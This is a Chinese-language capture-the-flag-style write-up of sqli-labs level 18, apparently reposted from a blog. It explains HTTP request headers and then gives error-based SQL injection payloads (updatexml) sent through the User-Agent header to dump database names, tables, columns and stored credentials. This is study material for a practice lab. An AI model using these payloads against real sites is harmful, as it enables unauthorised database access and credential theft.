前言
此文章只用于學(xué)習(xí)和反思鞏固sql注入知識(shí),禁止用于做非法攻擊。注意靶場(chǎng)是可以練習(xí)的平臺(tái),不能隨意去尚未授權(quán)的網(wǎng)站做滲透測(cè)試?。。?/p>
一、靶場(chǎng)通關(guān)需要了解的知識(shí)點(diǎn)
- 1、什么是http請(qǐng)求頭
- 2、為什么http頭部可以進(jìn)行注入
1、什么是http請(qǐng)求頭
這里我只演示sql注入常見(jiàn)的請(qǐng)求頭內(nèi)容。
- 1、user-agent
User-Agent 首部包含了一個(gè)特征字符串,用來(lái)讓網(wǎng)絡(luò)協(xié)議的對(duì)端來(lái)識(shí)別發(fā)起請(qǐng)求的用戶代理軟件的應(yīng)用類(lèi)型、操作系統(tǒng)、軟件開(kāi)發(fā)商以及版本號(hào)。
瀏覽器通常使用的格式為:
User-Agent: Mozilla/<version> (<system-information>) <platform> (<platform-details>) <extensions>
這里我在微博進(jìn)行演示user-agent的作用(無(wú)惡意,僅演示)
這里我先用kali系統(tǒng)在火狐瀏覽器中微博搜索1(如圖所示)
然后抓包更改user-agent內(nèi)容,改為手機(jī)端。這里我改為oppo手機(jī)訪問(wèn)網(wǎng)站的user-agent。因?yàn)閡ser-agent是用來(lái)識(shí)別用戶的身份的,如果你是pc端,那么服務(wù)器接收到你的user-agent發(fā)現(xiàn)你是pc端的linux系統(tǒng),它就會(huì)響應(yīng)一個(gè)pc電腦訪問(wèn)微博的界面。那么如果服務(wù)器接收的是我更改的手機(jī)user-agent的話,它就會(huì)自動(dòng)識(shí)別我是手機(jī)端登錄,然后響應(yīng)一個(gè)手機(jī)訪問(wèn)微博的頁(yè)面。
Mozilla/5.0 (Linux; Android 7.1.1; OPPO R11st Build/NMF26X; wv)
AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83
Mobile Safari/537.36 T7/11.15 baiduboxapp/11.15.5.10 (Baidu; P1 7.1.1)
這是我更改的oppo手機(jī)user-agent.
更改流程如下,圖一是linux系統(tǒng)pc端的user-agent,圖二是我們改為oppo的user-agent。
然后發(fā)包看結(jié)果對(duì)比一下。
發(fā)現(xiàn)我pc端訪問(wèn)的微博界面變成了oppo手機(jī)端訪問(wèn)微博的界面。這就是user-agent的作用。通過(guò)識(shí)別用戶身份,響應(yīng)合適的web界面。
- 2、referer字段
Referer 請(qǐng)求頭包含了當(dāng)前請(qǐng)求頁(yè)面的來(lái)源頁(yè)面的地址,即表示當(dāng)前頁(yè)面是通過(guò)此來(lái)源頁(yè)面里的鏈接進(jìn)入的。服務(wù)端一般使用 Referer
請(qǐng)求頭識(shí)別訪問(wèn)來(lái)源,可能會(huì)以此進(jìn)行統(tǒng)計(jì)分析、日志記錄以及緩存優(yōu)化等。
就比如你從csdn訪問(wèn)外鏈接跳轉(zhuǎn),此時(shí)referer字段指向的url地址就是csdn的地址。
- 3、cookie
Cookie 是一個(gè) HTTP 請(qǐng)求標(biāo)頭,其中含有先前由服務(wù)器通過(guò) Set-Cookie 標(biāo)頭投放或通過(guò) JavaScript 的
Document.cookie 方法設(shè)置,然后存儲(chǔ)到客戶端的 HTTP cookie 。
- 4、X-Forwarded-For
X-Forwarded-For(XFF)請(qǐng)求標(biāo)頭是一個(gè)事實(shí)上的用于標(biāo)識(shí)通過(guò)代理服務(wù)器連接到 web 服務(wù)器的客戶端的原始 IP 地址的標(biāo)頭。
當(dāng)客戶端直接連接到服務(wù)器時(shí),其 IP
地址被發(fā)送給服務(wù)器(并且經(jīng)常被記錄在服務(wù)器的訪問(wèn)日志中)。但是如果客戶端通過(guò)正向或反向代理服務(wù)器進(jìn)行連接,服務(wù)器就只能看到最后一個(gè)代理服務(wù)器的
IP 地址,這個(gè) IP
通常沒(méi)什么用。如果最后一個(gè)代理服務(wù)器是與服務(wù)器安裝在同一臺(tái)主機(jī)上的負(fù)載均衡服務(wù)器,則更是如此。X-Forwarded-For
的出現(xiàn),就是為了向服務(wù)器提供更有用的客戶端 IP 地址。
2、為什么http頭部可以進(jìn)行注入
由于大部分網(wǎng)站為了記錄用戶的http請(qǐng)求頭部?jī)?nèi)容,來(lái)更好的識(shí)別用戶的身份信息,會(huì)將其帶入數(shù)據(jù)庫(kù)處理。我們知道任何與數(shù)據(jù)庫(kù)交互的地方都是有可能會(huì)有sql注入漏洞的。如果管理員沒(méi)有對(duì)http頭部?jī)?nèi)容進(jìn)行驗(yàn)證和過(guò)濾,導(dǎo)致攻擊者可以任意篡改http頭部信息拼接到數(shù)據(jù)庫(kù)惡意獲取敏感內(nèi)容。
二、靶場(chǎng)第十八關(guān)通關(guān)思路
- 1、判斷注入點(diǎn)
- 2、爆數(shù)據(jù)庫(kù)名
- 3、爆數(shù)據(jù)庫(kù)表
- 4、爆數(shù)據(jù)庫(kù)列
- 5、爆數(shù)據(jù)庫(kù)關(guān)鍵信息
1、判斷注入點(diǎn)
首先打開(kāi)第十八關(guān),發(fā)現(xiàn)頁(yè)面多了一個(gè)記錄ip的信息。假如我們現(xiàn)在不知道是http頭部注入,我們嘗試在登錄框進(jìn)行sql注入,發(fā)現(xiàn)無(wú)論如何都是注入不成功的。這個(gè)時(shí)候我們就要換思路了,因?yàn)榭吹竭@里有記錄ip信息,IP信息的記錄像是和http請(qǐng)求頭的X-Forwarded-For有關(guān)系。那么我們就要想到能不能在http請(qǐng)求頭進(jìn)行注入。
這里為了方便理解我們就看源碼了
發(fā)現(xiàn)到有兩個(gè)參數(shù)
網(wǎng)上搜發(fā)現(xiàn)是用來(lái)獲取用戶信息的user-agent值和ip值。我們發(fā)現(xiàn)這就是請(qǐng)求頭的內(nèi)容。繼續(xù)往下看,發(fā)現(xiàn)user-agent值被帶入到數(shù)據(jù)庫(kù)中。而且沒(méi)有被過(guò)濾。
(如圖所示)我們也發(fā)現(xiàn)uname和passwd被過(guò)濾了,這里源碼寫(xiě)了一個(gè)check_input的功能函數(shù),將uname和passwd的特殊字符進(jìn)行轉(zhuǎn)義,我們也去網(wǎng)上搜了mysql_real_escape_string () 函數(shù)的作用,所以得知?jiǎng)倓偽覀儫o(wú)腦在登錄框注入不成功的原因是有這個(gè)轉(zhuǎn)義函數(shù)在干擾。如果懂一點(diǎn)sql注入代碼審計(jì)的大佬應(yīng)該一眼就看出這是一個(gè)典型的防sql注入的代碼。
但是我們剛剛發(fā)現(xiàn)源碼并沒(méi)有將user-agent值調(diào)用check_input函數(shù)進(jìn)行過(guò)濾sql注入。那么我們可以從這里構(gòu)造payload。
我們仔細(xì)看user-agent值被拼接到數(shù)據(jù)庫(kù)的代碼。
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)
我們是要在uagent進(jìn)行構(gòu)造pyaload的,所以就得看這句代碼進(jìn)行構(gòu)造payload
這里構(gòu)造為' ,1,1)#
發(fā)現(xiàn)構(gòu)造payload成功,但是有的人可能要質(zhì)疑了,你這是知道源碼才能輕松構(gòu)造出來(lái)payload的,那實(shí)戰(zhàn)大都是沒(méi)有源碼的呀,那咋構(gòu)造?
很好,這里我假裝不知道源碼是什么。我們首先和之前思路一樣,先試一試and 1=1 和and 1=2,發(fā)現(xiàn)頁(yè)面都正常,說(shuō)明排除數(shù)字型。
然后我們?cè)僦苯釉趗ser-agent后面加上單引號(hào),發(fā)現(xiàn)報(bào)錯(cuò)了。
報(bào)錯(cuò)語(yǔ)句為
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘xxx.xxx.xxx.xxx’, ‘a(chǎn)dmin’)’ at line 1
從報(bào)錯(cuò)看出肯定是有關(guān)單引號(hào)閉合,憑空想象應(yīng)該原始語(yǔ)句是這樣的
('$uagent', '$IP', $uname)
從報(bào)錯(cuò)內(nèi)容發(fā)現(xiàn)不光光是單引號(hào)閉合的問(wèn)題。發(fā)現(xiàn)user-agent加單引號(hào)后報(bào)錯(cuò)是缺少了 ‘xxx.xxx.xxx.xxx’, ‘a(chǎn)dmin’)'這個(gè)東西。也就是說(shuō)你剛剛是這樣注入的才導(dǎo)致報(bào)錯(cuò)。
('$uagent'', '$IP', $uname)
我們?nèi)绻麊螁蜗裰白⑷胍粯娱]合掉單引號(hào)的話就會(huì)變成這樣
('$uagent'#', '$IP', $uname)
這樣的話后面的兩個(gè)參數(shù)就不見(jiàn)了,也會(huì)報(bào)錯(cuò)。所以我們得構(gòu)造出這樣
('$uagent',1,1)#', '$IP', $uname)
在payload多寫(xiě)兩個(gè)參數(shù),構(gòu)造出和原始語(yǔ)句一模一樣的語(yǔ)句
payload構(gòu)造出來(lái)了,因?yàn)樗袌?bào)錯(cuò)回顯,但是不回顯內(nèi)容。所以用報(bào)錯(cuò)盲注。
2、爆數(shù)據(jù)庫(kù)名
注入語(yǔ)句為
1' and updatexml(1,concat(0x3a,(select database()),0x3a),1),1,1)#
3、爆數(shù)據(jù)庫(kù)表
注入語(yǔ)句為
1' and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1),1,1)#
得到關(guān)鍵數(shù)據(jù)庫(kù)表名users
4、爆數(shù)據(jù)庫(kù)列
注入語(yǔ)句為
1' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1),1,1)#
1' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1),1,1)#
得到關(guān)鍵數(shù)據(jù)庫(kù)列username,password
5、爆數(shù)據(jù)庫(kù)關(guān)鍵信息
注入語(yǔ)句為
1' and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1),1,1)#
1' and updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1),1,1)#
得到賬號(hào)密碼文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-753567.html
總結(jié)
這一關(guān)是利用http頭部的user-agent值進(jìn)行sql注入,由于這一關(guān)賬號(hào)密碼被sql防注入過(guò)濾了,但是沒(méi)有對(duì)user-agent值進(jìn)行過(guò)濾,所以導(dǎo)致可以在user-agent進(jìn)行注入。此文章是小白自己為了鞏固sql注入而寫(xiě)的,大佬路過(guò)請(qǐng)多指教!文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-753567.html
到了這里,關(guān)于sqli-labs關(guān)卡18(基于http頭部報(bào)錯(cuò)盲注)通關(guān)思路的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!